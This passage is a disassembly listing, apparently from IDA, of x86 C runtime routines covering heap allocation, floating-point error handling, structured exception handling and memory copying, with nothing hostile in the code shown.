locret_417BC6:				; CODE XREF: sub_417B9B+13j
					; sub_417B9B+19j
		retn
sub_417B9B	endp


; =============== S U B	R O U T	I N E =======================================



sub_417BC7	proc near		; CODE XREF: sub_417B9B+Bp

arg_0		= dword	ptr  4

		mov	eax, dword_4CF028
		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	eax, 3
		jnz	short loc_417BEB
		cmp	esi, dword_4CF020
		ja	short loc_417C1D
		push	esi
		call	sub_41B0DD
		test	eax, eax
		pop	ecx
		jz	short loc_417C1D
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_417BEB:				; CODE XREF: sub_417BC7+Dj
		cmp	eax, 2
		jnz	short loc_417C1D
		mov	eax, [esp+4+arg_0]
		test	eax, eax
		jz	short loc_417C00
		lea	esi, [eax+0Fh]
		and	esi, 0FFFFFFF0h
		jmp	short loc_417C03
; ---------------------------------------------------------------------------

loc_417C00:				; CODE XREF: sub_417BC7+2Fj
		push	10h
		pop	esi

loc_417C03:				; CODE XREF: sub_417BC7+37j
		cmp	esi, dword_435EB4
		ja	short loc_417C2A
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41BB80
		test	eax, eax
		pop	ecx
		jnz	short loc_417C39
		jmp	short loc_417C2A
; ---------------------------------------------------------------------------

loc_417C1D:				; CODE XREF: sub_417BC7+15j
					; sub_417BC7+20j ...
		test	esi, esi
		jnz	short loc_417C24
		push	1
		pop	esi

loc_417C24:				; CODE XREF: sub_417BC7+58j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h

loc_417C2A:				; CODE XREF: sub_417BC7+42j
					; sub_417BC7+54j
		push	esi
		push	0
		push	dword_4CF024
		nop
		call	near ptr 2710000h

loc_417C39:				; CODE XREF: sub_417BC7+52j
		pop	esi
		retn
sub_417BC7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417C3B	proc near		; CODE XREF: sub_402DD7+10Ep
					; sub_402DD7+116p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, [ebp+arg_0]
		test	esi, esi
		jz	short loc_417CA1
		mov	eax, dword_4CF028
		cmp	eax, 3
		jnz	short loc_417C67
		push	esi
		call	sub_41AD89
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_417C93
		push	eax
		call	sub_41ADB4
		pop	ecx
		pop	ecx
		jmp	short loc_417CA1
; ---------------------------------------------------------------------------

loc_417C67:				; CODE XREF: sub_417C3B+14j
		cmp	eax, 2
		jnz	short loc_417C92
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		call	sub_41BAE4
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_417C92
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_4]
		call	sub_41BB3B
		add	esp, 0Ch
		jmp	short loc_417CA1
; ---------------------------------------------------------------------------

loc_417C92:				; CODE XREF: sub_417C3B+2Fj
					; sub_417C3B+44j
		push	esi

loc_417C93:				; CODE XREF: sub_417C3B+20j
		push	0
		push	dword_4CF024
		nop
		call	near ptr 270039Ch

loc_417CA1:				; CODE XREF: sub_417C3B+Aj
					; sub_417C3B+2Aj ...
		pop	esi
		leave
		retn
sub_417C3B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_417CA4(double)

sub_417CA4	proc near		; CODE XREF: sub_403FE6+38p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_433C30
		call	sub_41C77D
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_417D2A
		call	sub_41C645
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_417D0D
		cmp	eax, 2
		jle	short loc_417CFF
		cmp	eax, 3
		jnz	short loc_417D0D
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Bh		; double
		call	sub_41BF55
		add	esp, 10h
		jmp	short loc_417D6F
; ---------------------------------------------------------------------------

loc_417CFF:				; CODE XREF: sub_417CA4+3Fj
		push	esi
		push	ebx
		call	sub_41C77D
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_417D6F
; ---------------------------------------------------------------------------

loc_417D0D:				; CODE XREF: sub_417CA4+3Aj
					; sub_417CA4+44j
		fld	[ebp+arg_0]
		fadd	dbl_4246A8
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Bh
		push	8
		jmp	short loc_417D67
; ---------------------------------------------------------------------------

loc_417D2A:				; CODE XREF: sub_417CA4+2Fj
		call	sub_41C60A
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_417D4D

loc_417D3F:				; CODE XREF: sub_417CA4+ACj
		push	esi
		push	ebx
		call	sub_41C77D
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_417D6F
; ---------------------------------------------------------------------------

loc_417D4D:				; CODE XREF: sub_417CA4+99j
		test	bl, 20h
		jnz	short loc_417D3F
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Bh		; int
		push	10h		; int

loc_417D67:				; CODE XREF: sub_417CA4+84j
		call	sub_41BFA8
		add	esp, 1Ch

loc_417D6F:				; CODE XREF: sub_417CA4+59j
					; sub_417CA4+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_417CA4	endp


; =============== S U B	R O U T	I N E =======================================



sub_417D73	proc near		; CODE XREF: ___:00419AC1p
					; DATA XREF: ___:off_433C3Co
		call	sub_417D8B
		call	sub_41C846
		mov	dword_4CD994, eax
		call	sub_41C7F6
		fnclex
		retn
sub_417D73	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_417D8B	proc near		; CODE XREF: sub_417D73p
		mov	eax, offset sub_41CC34
		mov	off_435FD4, offset sub_41C8C9
		mov	off_435FD0, eax
		mov	off_435FD8, offset sub_41C92F
		mov	off_435FDC, offset sub_41C86F
		mov	off_435FE0, offset sub_41C917
		mov	off_435FE4, eax
		retn
sub_417D8B	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417DC4	proc near		; CODE XREF: sub_403FE6+1Bp
					; sub_403FE6+44p ...

var_C		= qword	ptr -0Ch
var_4		= word ptr -4
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		fstcw	[ebp+var_2]
		wait
		mov	ax, [ebp+var_2]
		or	ah, 0Ch
		mov	[ebp+var_4], ax
		fldcw	[ebp+var_4]
		fistp	[ebp+var_C]
		fldcw	[ebp+var_2]
		mov	eax, dword ptr [ebp+var_C]
		mov	edx, dword ptr [ebp+var_C+4]
		leave
		retn
sub_417DC4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_417DEB(double)

sub_417DEB	proc near		; CODE XREF: sub_404032+82p
					; ___:00404CF0p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_433C48
		call	sub_41C77D
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_417E71
		call	sub_41C645
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_417E54
		cmp	eax, 2
		jle	short loc_417E46
		cmp	eax, 3
		jnz	short loc_417E54
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Ch		; double
		call	sub_41BF55
		add	esp, 10h
		jmp	short loc_417EB6
; ---------------------------------------------------------------------------

loc_417E46:				; CODE XREF: sub_417DEB+3Fj
		push	esi
		push	ebx
		call	sub_41C77D
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_417EB6
; ---------------------------------------------------------------------------

loc_417E54:				; CODE XREF: sub_417DEB+3Aj
					; sub_417DEB+44j
		fld	[ebp+arg_0]
		fadd	dbl_4246A8
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Ch
		push	8
		jmp	short loc_417EAE
; ---------------------------------------------------------------------------

loc_417E71:				; CODE XREF: sub_417DEB+2Fj
		call	sub_41C60A
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_417E94

loc_417E86:				; CODE XREF: sub_417DEB+ACj
		push	esi
		push	ebx
		call	sub_41C77D
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_417EB6
; ---------------------------------------------------------------------------

loc_417E94:				; CODE XREF: sub_417DEB+99j
		test	bl, 20h
		jnz	short loc_417E86
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Ch		; int
		push	10h		; int

loc_417EAE:				; CODE XREF: sub_417DEB+84j
		call	sub_41BFA8
		add	esp, 1Ch

loc_417EB6:				; CODE XREF: sub_417DEB+59j
					; sub_417DEB+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_417DEB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417EBA	proc near		; CODE XREF: ___:0041D116p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	large fs:0, eax
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx-4]
		mov	ebp, [ebp+var_4]
		jmp	eax
sub_417EBA	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8

; =============== S U B	R O U T	I N E =======================================



sub_417EEE	proc near		; CODE XREF: sub_41D256+199p
					; sub_41D41A+3Ep

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_417EEE	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_417EF5	proc near		; CODE XREF: sub_41D256+17Fp

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_417EF5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_417EFC	proc near		; CODE XREF: sub_4180AE+5Cp
					; sub_41D0A5:loc_41D0D6p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, large fs:0
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], offset loc_417F24
		push	0
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_422A4C
sub_417EFC	endp

; ---------------------------------------------------------------------------

loc_417F24:				; DATA XREF: sub_417EFC+11o
		mov	eax, [ebp+0Ch]
		mov	eax, [eax+4]
		and	al, 0FDh
		mov	ecx, [ebp+0Ch]
		mov	[ecx+4], eax
		mov	eax, large fs:0
		mov	ebx, [ebp-8]
		mov	[ebx], eax
		mov	large fs:0, ebx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
; ---------------------------------------------------------------------------

loc_417F4B:				; CODE XREF: ___:004230ECj
					; ___:00423109j ...
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	esi
		push	edi
		cld
		mov	[ebp-4], eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_41CCAA
		add	esp, 20h
		mov	[ebp+14h], eax
		pop	edi
		pop	esi
		pop	ebx
		mov	eax, [ebp+14h]
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417F81	proc near		; CODE XREF: sub_41D120+73p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_4]
		and	[ebp+var_14], 0
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_10], offset sub_417FD5
		inc	eax
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], eax
		mov	eax, large fs:0
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_14]
		mov	large fs:0, eax
		push	[ebp+arg_10]
		push	ecx
		push	[ebp+arg_8]
		call	sub_41D4B0
		mov	ecx, eax
		mov	eax, [ebp+var_14]
		mov	large fs:0, eax
		mov	eax, ecx
		leave
		retn
sub_417F81	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417FD5	proc near		; DATA XREF: sub_417F81+16o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cld
		mov	eax, [ebp+arg_4]
		push	0
		push	eax
		push	dword ptr [eax+10h]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_41CCAA
		add	esp, 20h
		pop	ebp
		retn
sub_417FD5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417FFA	proc near		; CODE XREF: sub_41CEEC+25p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_28], 0
		mov	[ebp+var_24], offset sub_4180AE
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_14], eax
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		mov	[ebp+var_10], offset loc_418080
		mov	[ebp+var_C], esp
		mov	[ebp+var_8], ebp
		mov	eax, large fs:0
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_28]
		mov	large fs:0, eax
		mov	[ebp+var_34], 1
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_2C], eax
		lea	eax, [ebp+var_30]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	dword_4CDA38
		pop	ecx
		pop	ecx
		and	[ebp+var_34], 0

loc_418080:				; DATA XREF: sub_417FFA+3Co
		cmp	[ebp+var_4], 0
		jz	short loc_41809D
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	ebx, [ebp+var_28]
		mov	[ebx], eax
		mov	large fs:0, ebx
		jmp	short loc_4180A6
; ---------------------------------------------------------------------------

loc_41809D:				; CODE XREF: sub_417FFA+8Aj
		mov	eax, [ebp+var_28]
		mov	large fs:0, eax

loc_4180A6:				; CODE XREF: sub_417FFA+A1j
		mov	eax, [ebp+var_34]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417FFA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4180AE	proc near		; DATA XREF: sub_417FFA+Do

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cld
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		and	eax, 66h
		test	eax, eax
		jz	short loc_4180D1
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+24h], 1
		push	1
		pop	eax
		jmp	short loc_41811E
; ---------------------------------------------------------------------------

loc_4180D1:				; CODE XREF: sub_4180AE+12j
		push	1
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_41CCAA
		add	esp, 20h
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+24h], 0
		jnz	short loc_41810F
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_417EFC
; ---------------------------------------------------------------------------

loc_41810F:				; CODE XREF: sub_4180AE+54j
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx+1Ch]
		mov	ebp, [ebx+20h]
		jmp	dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
		push	1
		pop	eax

loc_41811E:				; CODE XREF: sub_4180AE+21j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4180AE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418123	proc near		; CODE XREF: sub_41CD45+C6p
					; sub_41CEEC+43p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		cmp	[ebp+arg_4], 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, [edi+0Ch]
		mov	ebx, [edi+10h]
		mov	eax, esi
		mov	[ebp+arg_0], esi
		mov	[ebp+var_4], eax
		jl	short loc_41817A

loc_418141:				; CODE XREF: sub_418123+52j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41814B
		call	sub_41D552

loc_41814B:				; CODE XREF: sub_418123+21j
		mov	ecx, [ebp+arg_8]
		dec	esi
		lea	eax, [esi+esi*4]
		cmp	[ebx+eax*4+4], ecx
		lea	eax, [ebx+eax*4]
		jge	short loc_418160
		cmp	ecx, [eax+8]
		jle	short loc_418165

loc_418160:				; CODE XREF: sub_418123+36j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_418171

loc_418165:				; CODE XREF: sub_418123+3Bj
		mov	eax, [ebp+arg_0]
		dec	[ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], esi

loc_418171:				; CODE XREF: sub_418123+40j
		cmp	[ebp+arg_4], 0
		jge	short loc_418141
		mov	eax, [ebp+var_4]

loc_41817A:				; CODE XREF: sub_418123+1Cj
		mov	ecx, [ebp+arg_C]
		inc	esi
		mov	[ecx], esi
		mov	ecx, [ebp+arg_10]
		mov	[ecx], eax
		cmp	eax, [edi+0Ch]
		ja	short loc_41818E
		cmp	esi, eax
		jbe	short loc_418193

loc_41818E:				; CODE XREF: sub_418123+65j
		call	sub_41D552

loc_418193:				; CODE XREF: sub_418123+69j
		lea	eax, [esi+esi*4]
		pop	edi
		pop	esi
		lea	eax, [ebx+eax*4]
		pop	ebx
		leave
		retn
sub_418123	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_4181A0	proc near		; CODE XREF: sub_41F774+5Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset sub_4181B8
		push	[ebp+arg_0]
		call	sub_422A4C
sub_4181A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4181B8	proc near		; DATA XREF: sub_4181A0+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4181B8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4181C0	proc near		; DATA XREF: sub_4181E2+Ao
					; sub_41824A+9o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_4181E1
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_4181E1:				; CODE XREF: sub_4181C0+10j
		retn
sub_4181C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4181E2	proc near		; CODE XREF: sub_41D1C6+Dp
					; sub_41F774+67p ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_4181C0
		push	large dword ptr	fs:0
		mov	large fs:0, esp

loc_4181FF:				; CODE XREF: sub_4181E2:loc_41823Aj
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41823C
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_41823C
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_41823A
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_418276
		call	dword ptr [ebx+esi*4+8]

loc_41823A:				; CODE XREF: sub_4181E2+44j
		jmp	short loc_4181FF
; ---------------------------------------------------------------------------

loc_41823C:				; CODE XREF: sub_4181E2+2Aj
					; sub_4181E2+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4181E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41824A	proc near		; CODE XREF: sub_41D1E6+37p
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_4181C0
		jnz	short locret_41826C
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_41826C
		mov	eax, 1

locret_41826C:				; CODE XREF: sub_41824A+10j
					; sub_41824A+1Bj
		retn
sub_41824A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41826D	proc near		; CODE XREF: sub_41D4B0+1Ep
					; sub_41D4B0+40p
		push	ebx
		push	ecx
		mov	ebx, offset dword_433C4C
		jmp	short loc_418280
sub_41826D	endp


; =============== S U B	R O U T	I N E =======================================



sub_418276	proc near		; CODE XREF: sub_4181E2+4Fp
					; sub_41F774+78p
		push	ebx
		push	ecx
		mov	ebx, offset dword_433C4C
		mov	ecx, [ebp+8]

loc_418280:				; CODE XREF: sub_41826D+7j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_418276	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_418290	proc near		; CODE XREF: sub_404032+5p
					; sub_4041D4+5p ...
		push	0FFFFFFFFh
		push	eax
		mov	eax, large fs:0
		push	eax
		mov	eax, [esp+0Ch]
		mov	large fs:0, esp
		mov	[esp+0Ch], ebp
		lea	ebp, [esp+0Ch]
		push	eax
		retn
sub_418290	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4182AF	proc near		; CODE XREF: sub_404667+26p
					; ___:004227E2p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_417C3B
		pop	ecx
		retn
sub_4182AF	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4182C0	proc near		; CODE XREF: sub_4046D8+3Ap
					; sub_41ADB4+2EFp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_4182E0
		cmp	edi, eax
		jb	loc_418458

loc_4182E0:				; CODE XREF: sub_4182C0+16j
		test	edi, 3
		jnz	short loc_4182FC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41831C
		rep movsd
		jmp	off_418408[edx*4]
; ---------------------------------------------------------------------------

loc_4182FC:				; CODE XREF: sub_4182C0+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_418314
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41831C+4[eax*4]
; ---------------------------------------------------------------------------

loc_418314:				; CODE XREF: sub_4182C0+46j
		jmp	dword ptr loc_418418[ecx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41831C:				; CODE XREF: sub_4182C0+31j
					; sub_4182C0+8Ej ...
		jmp	off_41839C[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41832C+4
		dd offset loc_41835C
; ---------------------------------------------------------------------------

loc_41832C:				; DATA XREF: sub_4182C0+64o
		add	byte ptr [ebx-2EDCFFBFh], 8Ah
		push	es
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41831C
		rep movsd
		jmp	off_418408[edx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41835C:				; DATA XREF: sub_4182C0+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41831C
		rep movsd
		jmp	off_418408[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41831C
		rep movsd
		jmp	off_418408[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41839C	dd offset loc_4183FF	; DATA XREF: sub_4182C0:loc_41831Cr
		dd offset loc_4183EC
		dd offset loc_4183E4
		dd offset loc_4183DC
		dd offset loc_4183D4
		dd offset loc_4183CC
		dd offset loc_4183C4
		dd offset loc_4183BC
; ---------------------------------------------------------------------------

loc_4183BC:				; CODE XREF: sub_4182C0:loc_41831Cj
					; DATA XREF: sub_4182C0+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax

loc_4183C4:				; CODE XREF: sub_4182C0:loc_41831Cj
					; DATA XREF: sub_4182C0+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax

loc_4183CC:				; CODE XREF: sub_4182C0:loc_41831Cj
					; DATA XREF: sub_4182C0+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax

loc_4183D4:				; CODE XREF: sub_4182C0:loc_41831Cj
					; DATA XREF: sub_4182C0+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax

loc_4183DC:				; CODE XREF: sub_4182C0:loc_41831Cj
					; DATA XREF: sub_4182C0+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax

